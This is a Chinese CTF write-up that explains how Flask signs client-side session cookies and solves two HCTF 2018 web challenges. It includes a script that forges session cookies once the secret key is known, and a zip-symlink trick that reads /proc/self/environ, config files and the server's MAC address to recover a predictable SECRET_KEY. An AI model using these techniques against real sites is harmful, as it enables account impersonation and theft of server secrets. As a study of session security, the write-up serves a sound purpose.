从HCTF两道Web题谈谈flask客户端session机制

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这次hctf中有两道获取flask的secret_key生成客户端session的题目,为了能做出这两道题目来也是深入研究了一下flask客户端session的生成机制。所以这篇文章主要详细讨论一下flask客户端session的生成以及校验过程,以及在了解了flask客户端session机制后这两道题的解法。

个人第一次见到关于客户端session的文章是pith0n师傅的一片文章客户端session导致的安全问题。然而做题的时候只看phith0n师傅的这篇文章感觉还是有点儿懵逼。。。(也可能是我太菜了233)所以就只能翻flask的源码跟了一遍flask对session的处理流程。

flask对客户端session的处理机制

flask对session的处理位于flask/sessions.py中,默认情况下flask的session以cookie的形式保存于客户端,利用签名机制来防止数据被篡改。

在flask/sessions.py中,SecureCookieSessionInterface用于封装对CookieSession的一系列操作:

class SecureCookieSessionInterface(SessionInterface):
    """The default session interface that stores sessions in signed cookies
    through the :mod:`itsdangerous` module.
    """
    # salt,默认为cookie-session
    salt = 'cookie-session'
    #: 默认哈希函数为hashlib.sha1
    digest_method = staticmethod(hashlib.sha1)
    #:默认密钥推导方式 :hmac
    key_derivation = 'hmac'
    #:默认序列化方式:session_json_serializer
    serializer = session_json_serializer
    session_class = SecureCookieSession

这里默认的序列化方式的定义为:

session_json_serializer = TaggedJSONSerializer()

可以看到默认使用taggedJSONSerializer做序列化

taggedJSONSerializer定义:

class TaggedJSONSerializer(object):
    """A customized JSON serializer that supports a few extra types that
    we take for granted when serializing (tuples, markup objects, datetime).
    """
    def dumps(self, value):
        def _tag(value):
            if isinstance(value, tuple):
                return {' t': [_tag(x) for x in value]}
            elif isinstance(value, uuid.UUID):
                return {' u': value.hex}
            elif isinstance(value, bytes):
                return {' b': b64encode(value).decode('ascii')}
            elif callable(getattr(value, '__html__', None)):
                return {' m': text_type(value.__html__())}
            elif isinstance(value, list):
                return [_tag(x) for x in value]
            elif isinstance(value, datetime):
                return {' d': http_date(value)}
            elif isinstance(value, dict):
                return dict((k, _tag(v)) for k, v in iteritems(value))
            elif isinstance(value, str):
                try:
                    return text_type(value)
                except UnicodeError:
                    raise UnexpectedUnicodeError(u'A byte string with '
                        u'non-ASCII data was passed to the session system '
                        u'which can only store unicode strings.  Consider '
                        u'base64 encoding your string (String was %r)' % value)
            return value
        return json.dumps(_tag(value), separators=(',', ':'))

    def loads(self, value):
        def object_hook(obj):
            if len(obj) != 1:
                return obj
            the_key, the_value = next(iteritems(obj))
            if the_key == ' t':
                return tuple(the_value)
            elif the_key == ' u':
                return uuid.UUID(the_value)
            elif the_key == ' b':
                return b64decode(the_value)
            elif the_key == ' m':
                return Markup(the_value)
            elif the_key == ' d':
                return parse_date(the_value)
            return obj
        return json.loads(value, object_hook=object_hook)

可以看到本质还是一个添加了类型属性的json处理。

SecureCookieSessionInterface类的获取签名验证序列化器函数为get_signing_serializer

    def get_signing_serializer(self, app):
        if not app.secret_key:
            return None
        signer_kwargs = dict(
            key_derivation=self.key_derivation,
            digest_method=self.digest_method
        )
        return URLSafeTimedSerializer(app.secret_key, salt=self.salt,
                                      serializer=self.serializer,
                                      signer_kwargs=signer_kwargs)

可以看到最后使用的签名序列化器为URLSafeTimedSerializer,并且传入app.secret_key用于签名。

SecureCookieSessionInterface的open_session与save_session方法表示了对session的处理

    def open_session(self, app, request):
        s = self.get_signing_serializer(app)
        if s is None:
            return None
        val = request.cookies.get(app.session_cookie_name)
        if not val:
            return self.session_class()
        max_age = total_seconds(app.permanent_session_lifetime)
        try:
            data = s.loads(val, max_age=max_age)#max_age
            return self.session_class(data)
        except BadSignature:
            return self.session_class()

    def save_session(self, app, session, response):
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)
        if not session:
            if session.modified:
                response.delete_cookie(app.session_cookie_name,
                                       domain=domain, path=path)
            return
        httponly = self.get_cookie_httponly(app)
        secure = self.get_cookie_secure(app)
        expires = self.get_expiration_time(app, session)
        print self.get_signing_serializer(app)
        val = self.get_signing_serializer(app).dumps(dict(session))
        response.set_cookie(app.session_cookie_name, val,
                            expires=expires, httponly=httponly,
                            domain=domain, path=path, secure=secure)

可以看到从客户端获取session时获取对应的cookie值,并使用序列化器序列化,能够成功序列化即可获取sesison_class,否则返回一个空的session_class.

SecureCookieSession使用的默认序列化器URLSafeTimedSeriallizer位于itsdangerous模块中:

class URLSafeTimedSerializer(URLSafeSerializerMixin, TimedSerializer):
    """Works like :class:`TimedSerializer` but dumps and loads into a URL
    safe string consisting of the upper and lowercase character of the
    alphabet as well as ``'_'``, ``'-'`` and ``'.'``.
    """
    default_serializer = compact_json

序列化

序列化的流程在TimedSerializer的父类Serializer中

    def dumps(self, obj, salt=None):
        """Returns a signed string serialized with the internal serializer.
        The return value can be either a byte or unicode string depending
        on the format of the internal serializer.
        """
        payload = want_bytes(self.dump_payload(obj))
        rv = self.make_signer(salt).sign(payload)
        if self.is_text_serializer:
            rv = rv.decode('utf-8')
        return rv

可以看到主要处理流程是将obj用dump_payload签名后利用make_signer(salt)生成的signer进行签名处理,并返回签名后的结果即为我们所需要的cookie值,而URLSafeTimedSeralizer的dump_playload方法继承自URLSafeSerializerMixin的dump_payload方法

    def dump_payload(self, obj):
        json = super(URLSafeSerializerMixin, self).dump_payload(obj)
        is_compressed = False
        compressed = zlib.compress(json)
        if len(compressed) < (len(json) - 1):
            json = compressed
            is_compressed = True
        base64d = base64_encode(json)
        if is_compressed:
            base64d = b'.' + base64d
        return base64d

对obj的处理首先使用URLSafeTimedSeralizer的另一个父类TimedSeralizer继承自Seralizer的dump_payload方法处理

    def dump_payload(self, obj):
        """Dumps the encoded object.  The return value is always a
        bytestring.  If the internal serializer is text based the value
        will automatically be encoded to utf-8.
        """
        return want_bytes(self.serializer.dumps(obj))

其中self.serializer为之前SecureCookieSessionInterface的get_signing_serializer传入,即taggedJSONSerializer。
处理之后如果长度过长会进行一次zlib压缩,最后将生成的数据base64编码。

再回到之前Seralizer的dumps的处理流程中,self.make_signer(salt)的定义如下:

    def make_signer(self, salt=None):
        """A method that creates a new instance of the signer to be used.
        The default implementation uses the :class:`Signer` baseclass.
        """
        if salt is None:
            salt = self.salt
        return self.signer(self.secret_key, salt=salt, **self.signer_kwargs)

self.salt、self.signer_kwargs、self.secret_key来自之前SecureCookieSessionInterface的get_signing_serializer传入,分别为app.secret_key、’cookie-session’、{‘key_derivation’:’hmac’,’digest_method’=staticmethod(hashlib.sha1)},而self.signer为TimedSeralizer中指定

class TimedSerializer(Serializer):
    """Uses the :class:`TimestampSigner` instead of the default
    :meth:`Signer`.
    """

    default_signer = TimestampSigner

TimestampSigner签名过程为:

    def sign(self, value):
        """Signs the given string and also attaches a time information."""
        value = want_bytes(value)
        timestamp = base64_encode(int_to_bytes(self.get_timestamp()))
        sep = want_bytes(self.sep)
        value = value + sep + timestamp
        return value + sep + self.get_signature(value)

将传入的value拼接上时间戳之后再拼接签名内容,签名实现继承自Signer类的get_signature方法

    def get_signature(self, value):
        """Returns the signature for the given value"""
        value = want_bytes(value)
        key = self.derive_key()
        sig = self.algorithm.get_signature(key, value)
        return base64_encode(sig)

因此,整个序列化的流程便是将obj处理为json格式后根据长度选择是否zlib压缩,之后再进行base64加密,拼接上当前时间戳之后再使用hmac签名并且拼接到该字符串上即为我们所需要的payload。

反序列化

反签名的流程主要为TimedSerializer类的loads函数

class TimedSerializer(Serializer):
    """Uses the :class:`TimestampSigner` instead of the default
    :meth:`Signer`.
    """

    default_signer = TimestampSigner

    def loads(self, s, max_age=None, return_timestamp=False, salt=None):
        """Reverse of :meth:`dumps`, raises :exc:`BadSignature` if the
        signature validation fails.  If a `max_age` is provided it will
        ensure the signature is not older than that time in seconds.  In
        case the signature is outdated, :exc:`SignatureExpired` is raised
        which is a subclass of :exc:`BadSignature`.  All arguments are
        forwarded to the signer's :meth:`~TimestampSigner.unsign` method.
        """
        base64d, timestamp = self.make_signer(salt) 
            .unsign(s, max_age, return_timestamp=True)
        payload = self.load_payload(base64d)
        if return_timestamp:
            return payload, timestamp
        return payload

    def loads_unsafe(self, s, max_age=None, salt=None):
        load_kwargs = {'max_age': max_age}
        load_payload_kwargs = {}
        return self._loads_unsafe_impl(s, salt, load_kwargs, load_payload_kwargs)

这里的loads部分使用TimestampSigner来对传入的数据进行解析,查看TimestampSinger中关于签名与反签名的源码:

    def sign(self, value):
        """Signs the given string and also attaches a time information."""
        value = want_bytes(value)
        timestamp = base64_encode(int_to_bytes(self.get_timestamp()))
        sep = want_bytes(self.sep)
        value = value + sep + timestamp
        return value + sep + self.get_signature(value)

       def unsign(self, value, max_age=None, return_timestamp=False):
        """Works like the regular :meth:`~Signer.unsign` but can also
        validate the time.  See the base docstring of the class for
        the general behavior.  If `return_timestamp` is set to `True`
        the timestamp of the signature will be returned as naive
        :class:`datetime.datetime` object in UTC.
        """
        try:
            result = Signer.unsign(self, value)
            sig_error = None
        except BadSignature as e:
            sig_error = e
            result = e.payload or b''
        sep = want_bytes(self.sep)

        # If there is no timestamp in the result there is something
        # seriously wrong.  In case there was a signature error, we raise
        # that one directly, otherwise we have a weird situation in which
        # we shouldn't have come except someone uses a time-based serializer
        # on non-timestamp data, so catch that.
        if not sep in result:
            if sig_error:
                raise sig_error
            raise BadTimeSignature('timestamp missing', payload=result)

        value, timestamp = result.rsplit(sep, 1)
        try:
            timestamp = bytes_to_int(base64_decode(timestamp))
        except Exception:
            timestamp = None

        # Signature is *not* okay.  Raise a proper error now that we have
        # split the value and the timestamp.
        if sig_error is not None:
            raise BadTimeSignature(text_type(sig_error), payload=value,
                                   date_signed=timestamp)

        # Signature was okay but the timestamp is actually not there or
        # malformed.  Should not happen, but well.  We handle it nonetheless
        #检查timestamp
        if timestamp is None:
            raise BadTimeSignature('Malformed timestamp', payload=value)

        # Check timestamp is not older than max_age
        if max_age is not None:
            age = self.get_timestamp() - timestamp
            if age > max_age:
                raise SignatureExpired(
                    'Signature age %s > %s seconds' % (age, max_age),
                    payload=value,
                    date_signed=self.timestamp_to_datetime(timestamp))

        if return_timestamp:
            return value, self.timestamp_to_datetime(timestamp)
        return value

unsigin过程直接调用父类Signer的unsign,再进行timestamp的检查,由于之前调用时传入了max_age所以会检查timestamp是否超时(当时没注意到这一点一直以为随便一个timestamp就可以结果gg了。。。)

序列化与反序列化的总结

最后经过flask处理的字符串的格式为:

json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

对于以上的调用我们可以总结为这样的代码(与服务器上的python版本无关,如果不确定服务器运行环境timestamp最好根据服务器反馈获取):

from itsdangerous import *
from flask.sessions import *


key='*******'
salt="cookie-session"
serializer=session_json_serializer
digest_method=hashlib.sha1
key_derivation='hmac'

signer_kwargs = dict(
            key_derivation=key_derivation,
            digest_method=digest_method
        )


def serialize(obj,timestamp,sep):
        my_serializer=URLSafeTimedSerializer(key,salt=salt,serializer=serializer,signer_kwargs=signer_kwargs)
        base64d=my_serializer.dump_payload(obj) #数据压缩
        data=base64d+sep+timestamp #拼接timestamp
        result=data+sep+my_serializer.make_signer(salt).get_signature(data) #拼接签名内容
        return result

而从cookie获取session的过程便是验证签名->验证是否过期->解码,解码可以使用phith0n师傅的payload:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

需要特别注意的是python2与python3下产生的timestamp是不一样的!!!当时被这个问题坑了很久。。。

 

hctf两道题目的wp

有了以上的分析要解决hctf的这两道题目就很容易了:

admin

http://admin.2018.hctf.io/index

这道题目我们能做出来是因为在github上搜索hctf,按照recent updated得到了题目的repohttps://github.com/woadsl1234/hctf_flask

repo中暴露了私钥信息,而且题目只需要能用admin用户登入即可,因此可以直接使用上面的脚本跑出admin用户的session来。

hide and seek

http://hideandseek.2018.hctf.io/

这道题目中登入后会要求我们上传一个zip文件,如果zip文件内的所有文件都是文本文件便可以成功返回文件的内容。
然而zip文件中也可以包含软链接,采用zip -ry out.zip link即可将一个软链接打包到out.zip中。因此我们可以尝试上传包含/proc/self/environ软链接的压缩包来获取一些运行环境信息

ln -s /proc/self/environ link
zip -ry out.zip link

上传后可以获得当前一些环境信息:


可以发现uwsgi配置文件的路径/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini,尝试读取配置文件

[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app

可以得知当前脚本为/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

从而获取到源码

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and 
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

然而并无法获取flag.py的源码,因为限制了内容不能包含hctf。

尝试获取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html

可以得知只要能用admin登入即可获得flag.

这里我们重点查看payload中SECRET_KEY的生成方式

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

可以看到随机数的种子为uuid.getnode().而uuid.getnode()函数返回的便是当前网卡的mac地址。那么要怎样获取服务器上的网卡地址?

这里便可以通过linux强大的特殊文件系统来获取。首先利用之前的方法读取/proc/net/dev可以发现服务器上的所有网卡。可以发现服务器只有eth0和lo两个网卡。之后再读取/sys/class/net/eth0/address

即可获取eth0网卡的mac地址。获取了地址,我们便获取了SECRET_KEY,之后便可以使用我们上面的payload来伪造session从二获取flag。

 

后记

通过这次hctf深入的了解了flask的客户端session的生成过程,可以说hctf相比最近的一些神仙大战确实是异常很适合web狗的比赛了。每年的hctf都能学到一些东西,希望以后能多一些这样干货满满的比赛。○| ̄|_

ps:如果出一道改了源码改了默认salt和签名机制的题目会不会被打死ヾ(≧∇≦*)ゝ

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